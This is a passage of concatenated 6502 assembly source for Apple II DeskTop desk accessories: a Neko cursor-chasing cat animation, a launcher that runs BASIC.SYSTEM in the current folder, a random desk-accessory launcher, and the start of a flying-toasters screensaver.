.params frame_params
DEFINE_POINT viewloc, 0, 0
mapbits: .addr FRAMEBUFFER
mapwidth: .byte kNekoStride
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kNekoWidth-1, kNekoHeight-1
REF_MAPINFO_MEMBERS
.endparams
DEFINE_RECT erase_rect, 0, 0, 0, 0
;;; ============================================================
;;; Inputs: Y = frame
.proc DrawFrame
sty frame
MGTK_CALL MGTK::SetPenMode, notpencopy
ldx frame
copy8 frame_addr_table_lo,x, LZSA_SRC_LO
copy8 frame_addr_table_hi,x, LZSA_SRC_LO+1
copy16 #FRAMEBUFFER, LZSA_DST_LO
jsr decompress_lzsa2_fast
jsr FrameDouble
MGTK_CALL MGTK::PaintBitsHC, frame_params
;; Stash rect of this frame so we can optionally erase it next time
COPY_STRUCT frame_params::viewloc, erase_rect::topleft
add16_8 frame_params::viewloc::xcoord, #kNekoWidth-1, erase_rect::x2
add16_8 frame_params::viewloc::ycoord, #kNekoHeight-1, erase_rect::y2
rts
frame: .byte 0
.endproc ; DrawFrame
.proc EraseFrame
MGTK_CALL MGTK::SetPenMode, pencopy
MGTK_CALL MGTK::PaintRect, erase_rect
rts
.endproc ; EraseFrame
;;; ============================================================
.proc FrameDouble
src := $06
dst := $08
tmp := $0A
count := $0C
kFrameSizeUndoubled = 160
copy8 #kFrameSizeUndoubled, count
copy16 #FRAMEBUFFER+kFrameSizeUndoubled, src
copy16 #FRAMEBUFFER+kFrameSizeUndoubled*2, dst
ldy #0
DO
dec16 src
lda (src),y
ldx #8
DO
ror
php
ror tmp+1
ror tmp
plp
ror tmp+1
ror tmp
dex
WHILE_NOT_ZERO
rol tmp
rol tmp+1
ror tmp
dec16 dst
copy8 tmp+1, (dst),y
dec16 dst
copy8 tmp, (dst),y
dec count
WHILE_NOT_ZERO
rts
.endproc ; FrameDouble
;;; ============================================================
.include "../lib/lzsa.s"
;;; ============================================================
DA_END_AUX_SEGMENT
;;; ============================================================
DA_START_MAIN_SEGMENT
;;; ============================================================
jmp Init
;;; ============================================================
ep_start:
.include "../lib/event_params.s"
.params trackgoaway_params
clicked: .byte 0
.endparams
ep_size := * - ep_start
.assert ep_size = aux::ep_size, error, "param mismatch aux vs. main"
.proc CopyEventDataToMain
copy16 #aux::event_params, STARTLO
copy16 #aux::event_params+ep_size-1, ENDLO
copy16 #event_params, DESTINATIONLO
clc ; aux>main
jmp AUXMOVE
.endproc ; CopyEventDataToMain
.proc CopyEventDataToAux
copy16 #event_params, STARTLO
copy16 #event_params+ep_size-1, ENDLO
copy16 #aux::event_params, DESTINATIONLO
sec ; main>aux
jmp AUXMOVE
.endproc ; CopyEventDataToAux
;;; ============================================================
DEFINE_RECT win_rect, 0,0,0,0
.proc GetWindowRect
copy16 #aux::winfo::maprect, STARTLO
copy16 #aux::winfo::maprect+.sizeof(MGTK::Rect)-1, ENDLO
copy16 #win_rect, DESTINATIONLO
clc ; aux>main
jmp AUXMOVE
.endproc ; GetWindowRect
;;; ============================================================
.proc Init
jsr InitRand
JUMP_TABLE_MGTK_CALL MGTK::OpenWindow, aux::winfo
jsr DrawWindow
JUMP_TABLE_MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
.proc InputLoop
jsr JUMP_TABLE_SYSTEM_TASK
JUMP_TABLE_MGTK_CALL MGTK::GetEvent, aux::event_params
jsr CopyEventDataToMain
lda event_params::kind
cmp #MGTK::EventKind::button_down
beq HandleDown
cmp #MGTK::EventKind::key_down
beq HandleKey
cmp #MGTK::EventKind::no_event
bne InputLoop
jmp HandleNoEvent
.endproc ; InputLoop
;;; ============================================================
.proc HandleKey
lda event_params::key
ldx event_params::modifiers
IF_NOT_ZERO
jsr ToUpperCase
cmp #kShortcutCloseWindow
beq Exit
bne InputLoop ; always
END_IF
cmp #CHAR_ESCAPE
bne InputLoop
FALL_THROUGH_TO Exit
.endproc ; HandleKey
.proc Exit
JUMP_TABLE_MGTK_CALL MGTK::CloseWindow, aux::winfo
jmp JUMP_TABLE_CLEAR_UPDATES
.endproc ; Exit
;;; ============================================================
.proc HandleDown
JUMP_TABLE_MGTK_CALL MGTK::FindWindow, aux::findwindow_params
jsr CopyEventDataToMain
lda findwindow_params::window_id
cmp #aux::kDAWindowId
bne InputLoop
lda findwindow_params::which_area
cmp #MGTK::Area::close_box
beq HandleClose
cmp #MGTK::Area::dragbar
beq HandleDrag
cmp #MGTK::Area::content
beq HandleGrow
bne InputLoop ; always
.endproc ; HandleDown
;;; ============================================================
.proc HandleClose
JUMP_TABLE_MGTK_CALL MGTK::TrackGoAway, aux::trackgoaway_params
jsr CopyEventDataToMain
lda trackgoaway_params::clicked
bne Exit
beq InputLoop ; always
.endproc ; HandleClose
;;; ============================================================
.proc HandleDrag
copy8 #aux::kDAWindowId, dragwindow_params::window_id
jsr CopyEventDataToAux
JUMP_TABLE_MGTK_CALL MGTK::DragWindow, aux::dragwindow_params
common: jsr CopyEventDataToMain
lda dragwindow_params::moved
bpl finish
;; Draw DeskTop's windows and icons
jsr JUMP_TABLE_CLEAR_UPDATES
;; Draw DA's window
jsr DrawWindow
finish: jmp InputLoop
.endproc ; HandleDrag
;;; ============================================================
;;; TODO: Clamp Neko's position?
.proc HandleGrow
tmpw := $06
;; Is the hit within the grow box area?
copy8 #aux::kDAWindowId, screentowindow_params::window_id
jsr CopyEventDataToAux
JUMP_TABLE_MGTK_CALL MGTK::ScreenToWindow, aux::screentowindow_params
jsr CopyEventDataToMain
jsr GetWindowRect
sub16 win_rect::x2, screentowindow_params::windowx, tmpw
cmp16 #aux::kGrowBoxWidth, tmpw
bcc HandleDrag::finish
sub16 win_rect::y2, screentowindow_params::windowy, tmpw
cmp16 #aux::kGrowBoxHeight, tmpw
bcc HandleDrag::finish
;; Initiate the grow... re-using the drag logic
copy8 #aux::kDAWindowId, dragwindow_params::window_id
jsr CopyEventDataToAux
JUMP_TABLE_MGTK_CALL MGTK::GrowWindow, aux::dragwindow_params
jmp HandleDrag::common
.endproc ; HandleGrow
;;; ============================================================
;;; Behavior State Machine
;;; ============================================================
.enum NekoState
rest = 0
chase = 1
scratch = 2
itch = 3
lick = 4
yawn = 5
sleep = 6
.endenum
kThreshold = 8
kMove = 8 ; scaled 2x in x dimension
skip: .word 0
.proc HandleNoEvent
;; Throttle animation
lda skip
ora skip+1
IF_NOT_ZERO
dec16 skip
jmp InputLoop
END_IF
copy16 #175, skip
;; --------------------------------------------------
;; Tick once per frame; used to alternate frames
inc tick
;; --------------------------------------------------
;; First, figure out vector from Neko to the cursor.
x_delta := $06
y_delta := $08
x_neg := $0A ; high-bit set if negative
y_neg := $0B ; high-bit set if negative
tmp16 := $0C
dir := $0E
copy8 #aux::kDAWindowId, screentowindow_params::window_id
jsr CopyEventDataToAux
JUMP_TABLE_MGTK_CALL MGTK::ScreenToWindow, aux::screentowindow_params
jsr CopyEventDataToMain
jsr CopyPosToMain
x_pos := pos+MGTK::Point::xcoord
y_pos := pos+MGTK::Point::ycoord
sub16 screentowindow_params::windowx, x_pos, x_delta
sub16 x_delta, #kNekoWidth / 2, x_delta
copy8 x_delta+1, x_neg
IF_NEG
sub16 #0, x_delta, x_delta
END_IF
lsr16 x_delta ; force down to 8 bits
lsr16 x_delta ; and scale to match Y
sub16 screentowindow_params::windowy, y_pos, y_delta
sub16 y_delta, #kNekoHeight / 2, y_delta
copy8 y_delta+1, y_neg
IF_NEG
sub16 #0, y_delta, y_delta
END_IF
lsr16 y_delta ; force down to 8 bits
;; Beyond threshold?
lda x_delta
IF_A_LT #kThreshold
lda y_delta
IF_A_LT #kThreshold
ldx #0 ; no; null out the deltas
beq skip_encode ; always
END_IF
END_IF
;; Yes - do math to scale the deltas
lda x_delta
IF_A_GE y_delta
;; x dominant:
;; * y_delta = kMove * y_delta / x_delta
;; * x_delta = kMove
lda y_delta
ldx #0 ; A,X = y_delta
ldy #kMove
jsr Multiply_16_8_16 ; A,X = kMove * y_delta
ldy x_delta
jsr Divide_16_8_16 ; A,X = kMove * y_delta / x_delta
sta y_delta
copy8 #kMove, x_delta
ELSE
;; y dominant
;; * x_delta = kMove * x_delta / y_delta
;; * y_delta = kMove
lda x_delta
ldx #0 ; A,X = x_delta
ldy #kMove
jsr Multiply_16_8_16 ; A,X = kMove * x_delta
ldy y_delta
jsr Divide_16_8_16 ; A,X = kMove * x_delta / y_delta
sta x_delta
copy8 #kMove, y_delta
END_IF
;; --------------------------------------------------
;; Encode direction into 4 bits %0000xxyy
;; 00 = no, 01 = +ve, 10 = -ve, 11 = (not used)
ldx #0
lda x_delta
IF_A_GE #kMove/2
bit x_neg
IF_NEG
inx
END_IF
inx
END_IF
txa
asl
asl
tax
lda y_delta
IF_A_GE #kMove/2
bit y_neg
IF_NEG
inx
END_IF
inx
END_IF
skip_encode:
stx dir
;; --------------------------------------------------
;; Now we have dir/deltas/signs figured out. Decide
;; on the behavior.
CLEAR_BIT7_FLAG moved_flag
lda state
new_state:
sta state ; for states that swap
pha
jsr Random
tay
pla
;; ------------------------------
cmp #NekoState::rest
;; ------------------------------
IF_EQ
lda dir
IF_NOT_ZERO
ldx #NekoState::chase
lda #NekoFrame::surprise
jmp set_state_and_frame
END_IF
IF_Y_LT #$10 ; Y = random
ldx #NekoState::itch
lda #NekoFrame::itch1
jmp set_state_and_frame
END_IF
IF_Y_LT #$20 ; Y = random
ldx #NekoState::yawn
lda #NekoFrame::yawning
jmp set_state_and_frame
END_IF
IF_Y_LT #$30 ; Y = random
lda #NekoFrame::lick
jmp set_frame
END_IF
lda #NekoFrame::sitting
jmp set_frame
END_IF
;; ------------------------------
cmp #NekoState::chase
;; ------------------------------
IF_EQ
lda dir
IF_ZERO
ldx #NekoState::rest
lda #NekoFrame::sitting
jmp set_state_and_frame
END_IF
SET_BIT7_FLAG moved_flag
jsr MoveAndClamp
IF_Y_NE #0 ; Y = clamped
copy8 dir, scratch_dir
lda #NekoState::scratch
bne new_state ; always
END_IF
lda tick
and #1
ldx dir
ora dir_frame_table-1,x ; -1 to save a byte
jmp set_frame
END_IF
;; ------------------------------
cmp #NekoState::scratch
;; ------------------------------
IF_EQ
lda dir
IF_A_NE scratch_dir
ldx #NekoState::chase
lda #NekoFrame::surprise
jmp set_state_and_frame
END_IF
tax ; X = dir
lda tick
and #1
ora scratch_frame_table-1,x ; -1 to save a byte
bne set_frame ; always
END_IF
;; ------------------------------
cmp #NekoState::itch
;; ------------------------------
IF_EQ
IF_Y_LT #$20 ; Y = random
ldx #NekoState::rest
lda #NekoFrame::sitting
bne set_state_and_frame ; always
END_IF
lda cur_frame
eor #1
bne set_frame ; always
END_IF
;; ------------------------------
cmp #NekoState::yawn
;; ------------------------------
IF_EQ
IF_Y_LT #$20 ; Y = random
ldx #NekoState::sleep
lda #NekoFrame::sleep1
bne set_state_and_frame ; always
END_IF
ldx #NekoState::rest
lda #NekoFrame::sitting
bne set_state_and_frame ; always
END_IF
;; ------------------------------
;; cmp #NekoState::sleep
;; ------------------------------
;; IF_EQ
lda dir
IF_NOT_ZERO
ldx #NekoState::chase
lda #NekoFrame::surprise
bne set_state_and_frame ; always
END_IF
lda cur_frame
eor #1
bne set_frame ; always
;; END_IF
set_state_and_frame:
stx state
set_frame:
sta cur_frame
jsr DrawCurrentFrame
jmp InputLoop
;;; Apply the deltas and clamp
;;; Outputs: Y = number of clampings done (0, 1 or 2)
.proc MoveAndClamp
;; Move
asl x_delta
bit x_neg
IF_POS
add16_8 x_pos, x_delta
ELSE
sub16_8 x_pos, x_delta
END_IF
lsr x_delta
bit y_neg
IF_POS
add16_8 y_pos, y_delta
ELSE
sub16_8 y_pos, y_delta
END_IF
;; Clamp
ldy #0
lda x_pos+1
IF_NEG
copy16 #0, x_pos
iny
END_IF
lda y_pos+1
IF_NEG
copy16 #0, y_pos
iny
END_IF
jsr GetWindowRect
sub16 win_rect::x2, win_rect::x1, tmp16
sub16_8 tmp16, #kNekoWidth-1, tmp16
cmp16 x_pos, tmp16
IF_CS
copy16 tmp16, x_pos
iny
END_IF
sub16 win_rect::y2, win_rect::y1, tmp16
sub16_8 tmp16, #kNekoHeight + aux::kGrowBoxHeight, tmp16
cmp16 y_pos, tmp16
IF_CS
copy16 tmp16, y_pos
iny
END_IF
tya
pha
jsr CopyPosToAux
pla
tay
rts
.endproc ; MoveAndClamp
.endproc ; HandleNoEvent
;;; ============================================================
DEFINE_POINT pos, 0,0
.proc CopyPosToMain
copy16 #aux::frame_params::viewloc, STARTLO
copy16 #aux::frame_params::viewloc+.sizeof(MGTK::Point)-1, ENDLO
copy16 #pos, DESTINATIONLO
clc ; aux>main
jmp AUXMOVE
.endproc ; CopyPosToMain
.proc CopyPosToAux
copy16 #pos, STARTLO
copy16 #pos+.sizeof(MGTK::Point)-1, ENDLO
copy16 #aux::frame_params::viewloc, DESTINATIONLO
sec ; main>aux
jmp AUXMOVE
.endproc ; CopyPosToAux
;;; ============================================================
;; Frame tables, index is direction encoded as:
;; 0000 = no move (not in table, to save a byte)
;; 0001 = down
;; 0010 = up
;; 0011 = (unused)
;; 0100 = right
;; 0101 = down right
;; 0110 = up right
;; 0111 = (unused)
;; 1000 = left
;; 1001 = down left
;; 1010 = up left
dir_frame_table:
.byte NekoFrame::runDown1
.byte NekoFrame::runUp1
.byte 0
.byte NekoFrame::runRight1
.byte NekoFrame::runDownRight1
.byte NekoFrame::runUpRight1
.byte 0
.byte NekoFrame::runLeft1
.byte NekoFrame::runDownLeft1
.byte NekoFrame::runUpLeft1
scratch_frame_table:
.byte NekoFrame::scratchDown1
.byte NekoFrame::scratchUp1
.byte 0
.byte NekoFrame::scratchRight1
.byte NekoFrame::scratchRight1
.byte NekoFrame::scratchRight1
.byte 0
.byte NekoFrame::scratchLeft1
.byte NekoFrame::scratchLeft1
.byte NekoFrame::scratchLeft1
;;; ============================================================
.proc DrawWindow
jsr GetSetPort
IF_ZERO ; not obscured
JSR_TO_AUX aux::DrawGrowBox
END_IF
rts
.endproc ; DrawWindow
;;; ============================================================
;;; Output: Z=0 on success, Z=1 on failure (e.g. obscured)
.proc GetSetPort
;; Defer if content area is not visible
JUMP_TABLE_MGTK_CALL MGTK::GetWinPort, aux::getwinport_params
IF_ZERO
JUMP_TABLE_MGTK_CALL MGTK::SetPort, aux::grafport
END_IF
rts
.endproc ; GetSetPort
;;; ============================================================
tick: .byte 0 ; incremented every event
state: .byte NekoState::rest ; NekoState::XXX
scratch_dir:
.byte 0 ; last scratch direction
moved_flag:
.byte 0 ; high bit set if moved
cur_frame: ; NekoFrame::XXX
.byte NekoFrame::sitting
.proc DrawCurrentFrame
jsr GetSetPort
IF_ZERO
;; Erase if needed
bit moved_flag
IF_NS
JSR_TO_AUX aux::EraseFrame
END_IF
;; Draw frame
ldy cur_frame ; A,X are trashed by macro
JSR_TO_AUX aux::DrawFrame
.ifdef SLOW_EMULATORS
;; Experimental - slows emulators like Virtual II
sta SPKR
sta SPKR
.endif
END_IF
rts
.endproc ; DrawCurrentFrame
;;; ============================================================
PARAM_BLOCK muldiv_params, $10
number .word ; (in)
numerator .word ; (in)
denominator .word ; (in)
result .word ; (out)
remainder .word ; (out)
END_PARAM_BLOCK
;;; A,X = A,X * Y
.proc Multiply_16_8_16
stax muldiv_params::number
sty muldiv_params::numerator
copy8 #0, muldiv_params::numerator+1
copy16 #1, muldiv_params::denominator
JUMP_TABLE_MGTK_CALL MGTK::MulDiv, muldiv_params
ldax muldiv_params::result
rts
.endproc ; Multiply_16_8_16
;;; ============================================================
;;; A,X = A,X / Y, Y = remainder
.proc Divide_16_8_16
stax muldiv_params::numerator
sty muldiv_params::denominator
copy8 #0, muldiv_params::denominator+1
copy16 #1, muldiv_params::number
JUMP_TABLE_MGTK_CALL MGTK::MulDiv, muldiv_params
ldax muldiv_params::result
ldy muldiv_params::remainder
rts
.endproc ; Divide_16_8_16
;;; ============================================================
.include "../lib/prng.s"
.include "../lib/uppercase.s"
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 5,777
|
src/desk.acc/run.basic.here.s
|
;;; ============================================================
;;; RUN.BASIC.HERE - Desk Accessory
;;;
;;; Launches BASIC.SYSTEM with PREFIX set to the path of the
;;; current window. BYE will return to DeskTop. Looks for
;;; BASIC.SYSTEM up the directory tree from DeskTop itself.
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
;;; Memory map
;;;
;;; Main Aux
;;; : : : :
;;; | | | |
;;; | DHR | | DHR |
;;; $2000 +-----------+ +-----------+
;;; | IO Buffer | | |
;;; $1C00 +-----------+ | |
;;; | | | |
;;; | | | |
;;; | | | |
;;; | | | (unused) |
;;; | DA | | |
;;; $800 +-----------+ +-----------+
;;; : : : :
;;;
;;; ============================================================
DA_HEADER
DA_START_MAIN_SEGMENT
;;; ============================================================
jmp start
;;; ============================================================
bs_path: .res kPathBufferSize, 0
prefix_path: .res kPathBufferSize, 0
MLIEntry := MLI
DEFINE_GET_FILE_INFO_PARAMS get_file_info_params, bs_path
DEFINE_OPEN_PARAMS open_params, bs_path, DA_IO_BUFFER
DEFINE_READWRITE_PARAMS read_params, PRODOS_SYS_START, MLI-PRODOS_SYS_START
DEFINE_CLOSE_PARAMS close_params
DEFINE_SET_PREFIX_PARAMS set_prefix_params, prefix_path
DEFINE_QUIT_PARAMS quit_params
;;; ============================================================
;; Early errors - show alert and return to DeskTop
fail: jmp JUMP_TABLE_SHOW_ALERT
start:
;; Get active window's path
jsr GetWinPath
IF_NOT_ZERO
lda #kErrNoWindowsOpen
bne fail ; always
END_IF
;; Find BASIC.SYSTEM
jsr CheckBasicSystem
IF_NOT_ZERO
lda #kErrBasicSysNotFound
bne fail
END_IF
;; Restore system state: devices, /RAM, ROM/ZP banks.
jsr JUMP_TABLE_RESTORE_SYS
;; Load BS
MLI_CALL OPEN, open_params
bcs quit
lda open_params::ref_num
sta read_params::ref_num
sta close_params::ref_num
MLI_CALL READ, read_params
bcs quit
MLI_CALL CLOSE, close_params
bcs quit
;; Set PREFIX. Do this last; see:
;; https://github.com/a2stuff/a2d/issues/95
MLI_CALL SET_PREFIX, set_prefix_params
bcs quit
;; Launch
jmp PRODOS_SYS_START
;; Late errors - QUIT, which should relaunch DeskTop
quit: MLI_CALL QUIT, quit_params
;;; ============================================================
DEFINE_GET_PREFIX_PARAMS get_prefix_params, bs_path
.proc CheckBasicSystem
;; Check well known location first
JUMP_TABLE_MLI_CALL GET_PREFIX, get_prefix_params
bcs no_bs
ldy #0
ldx bs_path
DO
iny
inx
copy8 str_extras_basic,y, bs_path,x
WHILE_Y_NE str_extras_basic
stx bs_path
JUMP_TABLE_MLI_CALL GET_FILE_INFO, get_file_info_params
RTS_IF_CC
;; Not there - search from `prefix_path` upwards
ldx prefix_path
stx path_length
DO
copy8 prefix_path,x, bs_path,x
dex
WHILE_POS
inc bs_path
ldx bs_path
copy8 #'/', bs_path,x
loop:
;; Append BASIC.SYSTEM to path and check for file.
ldx bs_path
ldy #0
DO
inx
iny
copy8 str_basic_system,y, bs_path,x
WHILE_Y_NE str_basic_system
stx bs_path
JUMP_TABLE_MLI_CALL GET_FILE_INFO, get_file_info_params
bcs not_found
rts ; zero is success
;; Pop off a path segment and try again.
not_found:
ldx path_length
DO
lda bs_path,x
cmp #'/'
beq found_slash
dex
WHILE_NOT_ZERO
no_bs: return #$FF ; non-zero is failure
found_slash:
cpx #1
beq no_bs
stx bs_path
dex
stx path_length
jmp loop
;; length of directory path e.g. "/VOL/DIR/"
path_length:
.byte 0
str_extras_basic:
PASCAL_STRING .concat(kFilenameExtrasDir, "/BASIC.SYSTEM")
str_basic_system:
PASCAL_STRING "BASIC.SYSTEM"
.endproc ; CheckBasicSystem
;;; ============================================================
.proc GetWinPath
ptr := $06
JUMP_TABLE_MGTK_CALL MGTK::FrontWindow, ptr
lda ptr ; any window open?
beq fail
cmp #kMaxDeskTopWindows+1
bcs fail
jsr JUMP_TABLE_GET_WIN_PATH
stax ptr
ldy #0
lda (ptr),y
tay
DO
copy8 (ptr),y, prefix_path,y
dey
WHILE_POS
return #0
fail: return #1
.endproc ; GetWinPath
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 6,584
|
src/desk.acc/random.s
|
;;; ============================================================
;;; RANDOM - Desk Accessory
;;;
;;; Launches a random desk accessory in the same folder.
;;; ============================================================
;; BUG: Saw an infinite loop (make sense since ticks don't change)
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../inc/prodos.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_MAIN_SEGMENT
;;; ============================================================
;; Path we were launched with, and will launch target with
dir_path := INVOKER_PREFIX
;; Convenient buffer to re-use
self_filename := INVOKER_FILENAME ; filename buffer
;; We're dumb and re-enumerate directory until we get to the
;; Nth file, so cap the maximum we'll consider.
kMaxDAsToConsider = 16 ; must be power of 2
ASSERT_EQUALS kMaxDAsToConsider & (kMaxDAsToConsider-1), 0
.proc Init
;; Use time ticks as randomness - low byte is enough entropy
jsr JUMP_TABLE_GET_TICKS ; returns A,X,Y = tick count
and #kMaxDAsToConsider - 1
sta file_num
;; Extract this DA's directory path
ldx dir_path
inx
DO
dex
lda dir_path,x
WHILE_A_NE #'/'
dex
txa
pha ; A = new `dir_path` length
;; And this DA's file name
inx
ldy #0
DO
inx
iny
lda dir_path,x
jsr ToUpperCase
sta self_filename,y
WHILE_X_NE dir_path
sty self_filename
pla ; A = new `dir_path` length
sta dir_path
;; Keep going until we find the Nth candidate
DO
param_call EnumerateDirectory, callback
lda file_num
WHILE_NOT_ZERO
;; Append filename to `dir_path`
ldy #0
ldx dir_path
inx ; past '/'
DO
inx
iny
copy8 filename,y, dir_path,x
WHILE_Y_NE filename
stx dir_path
;; Inject JT call to stack
pla
tax
pla
tay
PUSH_RETURN_ADDRESS JUMP_TABLE_LAUNCH_FILE
tya
pha
txa
pha
rts
;;; Called with A,X = `FileEntry`
.proc callback
entry_ptr := $06
stax entry_ptr
jsr _IsDAFile
bcs continue
jsr _IsSelfFile
bcc continue
dec file_num
bne continue
;; Found one - stop enumeration
ASSERT_EQUALS FileEntry::storage_type_name_length, 0
ASSERT_EQUALS FileEntry::file_name, 1
ldy #0
lda (entry_ptr),y
and #NAME_LENGTH_MASK
sta filename
tay
DO
copy8 (entry_ptr),y, filename,y
dey
WHILE_NOT_ZERO
sec
rts
continue:
clc
rts
;;; Output: C=0 if DA
.proc _IsDAFile
;; Check file type
ldy #FileEntry::file_type
lda (entry_ptr),y
cmp #kDAFileType
bne nope
;; Check aux type
ldy #FileEntry::aux_type
lda (entry_ptr),y
cmp #<kDAFileAuxType
bne nope
iny
lda (entry_ptr),y
cmp #>kDAFileAuxType
bne nope
clc
rts
nope: sec
rts
.endproc ; _IsDAFile
;;; Output: C=0 if is this DA
.proc _IsSelfFile
;; Assert: `cur_filename` was up-cased
;; Lengths match?
ldy #FileEntry::storage_type_name_length
lda (entry_ptr),y
and #NAME_LENGTH_MASK
cmp self_filename
bne nope
tay
;; Yes, check characters
ASSERT_EQUALS FileEntry::file_name, 1
DO
lda (entry_ptr),y
cmp self_filename,y
bne nope
dey
WHILE_NOT_ZERO
clc
rts
nope: sec
rts
.endproc ; _IsSelfFile
.endproc ; callback
file_num:
.byte 0
filename:
.res 16
.endproc ; Init
;;; ============================================================
;;; Inputs: A,X = callback, invoked with A,X=`FileEntry`
;;; `dir_path` populated
;;; Note: Callbacks must not modify $08, but can use $06
.proc EnumerateDirectory
;;; Memory Map
io_buf := DA_IO_BUFFER ; $1C00-$1FFF
block_buf := DA_IO_BUFFER - BLOCK_SIZE ; $1A00-$1BFF
kEntriesPerBlock = $0D
stax callback
CLEAR_BIT7_FLAG saw_header_flag
;; Open directory
JUMP_TABLE_MLI_CALL OPEN, open_params
jcs exit
lda open_params::ref_num
sta read_params::ref_num
sta close_params::ref_num
next_block:
JUMP_TABLE_MLI_CALL READ, read_params
bcs close
copy8 #AS_BYTE(-1), entry_in_block
entry_ptr := $08
copy16 #(block_buf+4 - .sizeof(FileEntry)), entry_ptr
next_entry:
;; Advance to next entry
lda entry_in_block
cmp #kEntriesPerBlock
beq next_block
inc entry_in_block
add16_8 entry_ptr, #.sizeof(FileEntry)
;; Header?
bit saw_header_flag
IF_NC
SET_BIT7_FLAG saw_header_flag
bmi next_entry ; always
END_IF
;; Active entry?
ldy #FileEntry::storage_type_name_length
lda (entry_ptr),y
beq next_entry
;; Invoke callback
ldax entry_ptr
callback := *+1
jsr SELF_MODIFIED
bcc next_entry
close: php
JUMP_TABLE_MLI_CALL CLOSE, close_params
plp
exit:
rts
DEFINE_OPEN_PARAMS open_params, dir_path, io_buf
DEFINE_READWRITE_PARAMS read_params, block_buf, BLOCK_SIZE
DEFINE_CLOSE_PARAMS close_params
entry_in_block:
.byte 0
saw_header_flag: ; bit7
.byte 0
.endproc ; EnumerateDirectory
;;; ============================================================
.include "../lib/uppercase.s"
;;; ============================================================
DA_END_MAIN_SEGMENT
;;; ============================================================
|
a2stuff/a2d
| 13,910
|
src/desk.acc/flying.toasters.s
|
;;; ============================================================
;;; FLYING.TOASTERS - Desk Accessory
;;;
;;; Clears the screen and animates a pleasing distraction.
;;; ============================================================
.include "../config.inc"
.include "apple2.inc"
.include "../inc/apple2.inc"
.include "../inc/macros.inc"
.include "../mgtk/mgtk.inc"
.include "../common.inc"
.include "../desktop/desktop.inc"
;;; ============================================================
DA_HEADER
DA_START_AUX_SEGMENT
;;; ============================================================
.proc AuxStart
;; Run the DA
jmp Init
.endproc ; AuxStart
;;; ============================================================
;;; Animation Resources
kToasterHeight = 33
kToasterWidth = 70
kToasterCount = 4
xpos_table:
.word kScreenWidth+kToasterWidth
.word kScreenWidth+kToasterWidth+150
.word kScreenWidth+kToasterWidth+300
.word kScreenWidth+kToasterWidth+450
ypos_table:
.word AS_WORD(-kToasterHeight)
.word AS_WORD(-kToasterHeight)+160
.word AS_WORD(-kToasterHeight)+40
.word AS_WORD(-kToasterHeight)+99
frame_table:
.byte 0,1,2,3
;;; ============================================================
;;; Graphics Resources
event_params: .tag MGTK::Event
.params paintbits_params
DEFINE_POINT viewloc, 0, 0
mapbits: .addr 0
mapwidth: .byte 10
reserved: .byte 0
DEFINE_RECT maprect, 0, 0, kToasterWidth-1, kToasterHeight-1
REF_MAPINFO_MEMBERS
.endparams
notpencopy: .byte MGTK::notpencopy
pencopy: .byte MGTK::pencopy
grafport: .tag MGTK::GrafPort
;;; ============================================================
;;; DA Init
.proc Init
MGTK_CALL MGTK::HideCursor
MGTK_CALL MGTK::InitPort, grafport
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, notpencopy
MGTK_CALL MGTK::PaintRect, grafport + MGTK::GrafPort::maprect
MGTK_CALL MGTK::FlushEvents
FALL_THROUGH_TO InputLoop
.endproc ; Init
;;; ============================================================
;;; Main Input Loop
.proc InputLoop
MGTK_CALL MGTK::GetEvent, event_params
lda event_params + MGTK::Event::kind
cmp #MGTK::EventKind::button_down ; was clicked?
beq exit
cmp #MGTK::EventKind::key_down ; any key?
beq exit
jsr Animate
jmp InputLoop
exit:
MGTK_CALL MGTK::RedrawDeskTop
MGTK_CALL MGTK::DrawMenuBar
JSR_TO_MAIN JUMP_TABLE_HILITE_MENU
MGTK_CALL MGTK::ShowCursor
rts ; exits input loop
.endproc ; InputLoop
;;; ============================================================
;;; Animate
.proc Animate
MGTK_CALL MGTK::SetPort, grafport
MGTK_CALL MGTK::SetPenMode, pencopy
;; For each toaster...
copy8 #kToasterCount-1, index
loop:
;; Stash current toaster's values
ldx index
copy8 frame_table,x, frame
txa
asl
tax
copy16 xpos_table,x, xpos
copy16 ypos_table,x, ypos
;; Move
add16 ypos, #1, ypos
sub16 xpos, #4, xpos
;; Wrap Y
cmp16 ypos, #kScreenHeight
IF_VS
eor #$80
END_IF
IF_NC
copy16 #AS_WORD(-kToasterHeight), ypos
END_IF
;; Wrap X
cmp16 xpos, #AS_WORD(-kToasterWidth)
IF_VS
eor #$80
END_IF
IF_NS
copy16 #kScreenWidth+kToasterWidth, xpos
END_IF
;; Next frame
inc frame
lda frame
IF_A_EQ #4 ; num frames
copy8 #0, frame
END_IF
;; Draw new pos
copy16 xpos, paintbits_params::viewloc::xcoord
copy16 ypos, paintbits_params::viewloc::ycoord
lda frame
asl ; *2
tax
copy16 toaster_frames,x, paintbits_params::mapbits
MGTK_CALL MGTK::PaintBitsHC, paintbits_params
;; Store updated values
ldx index
copy8 frame, frame_table,x
txa
asl
tax
copy16 xpos, xpos_table,x
copy16 ypos, ypos_table,x
;; Next
dec index
jpl loop
rts
index: .byte 0
xpos: .word 0
ypos: .word 0
frame: .byte 0
.endproc ; Animate
;;; ============================================================
toaster_frames:
.addr toaster_bits1
.addr toaster_bits2
.addr toaster_bits3
.addr toaster_bits2
toaster_bits1:
PIXELS "......................................................................"
PIXELS "................######..##............................................"
PIXELS "..............######..####............................................"
PIXELS "............####..######..##....########.............................."
PIXELS "..........############..######################........................"
PIXELS "..........########..########..............########...................."
PIXELS "........##############............####################................"
PIXELS "........##########..........########..............######.............."
PIXELS "......########..........######............######........##............"
PIXELS "......####..........######..........######......################......"
PIXELS "....####........######..........########..##########..##..##.........."
PIXELS "..####........####..........##########..######..################......"
PIXELS "..########..####........############..############..##..##............"
PIXELS "##....########........####..########..######..################........"
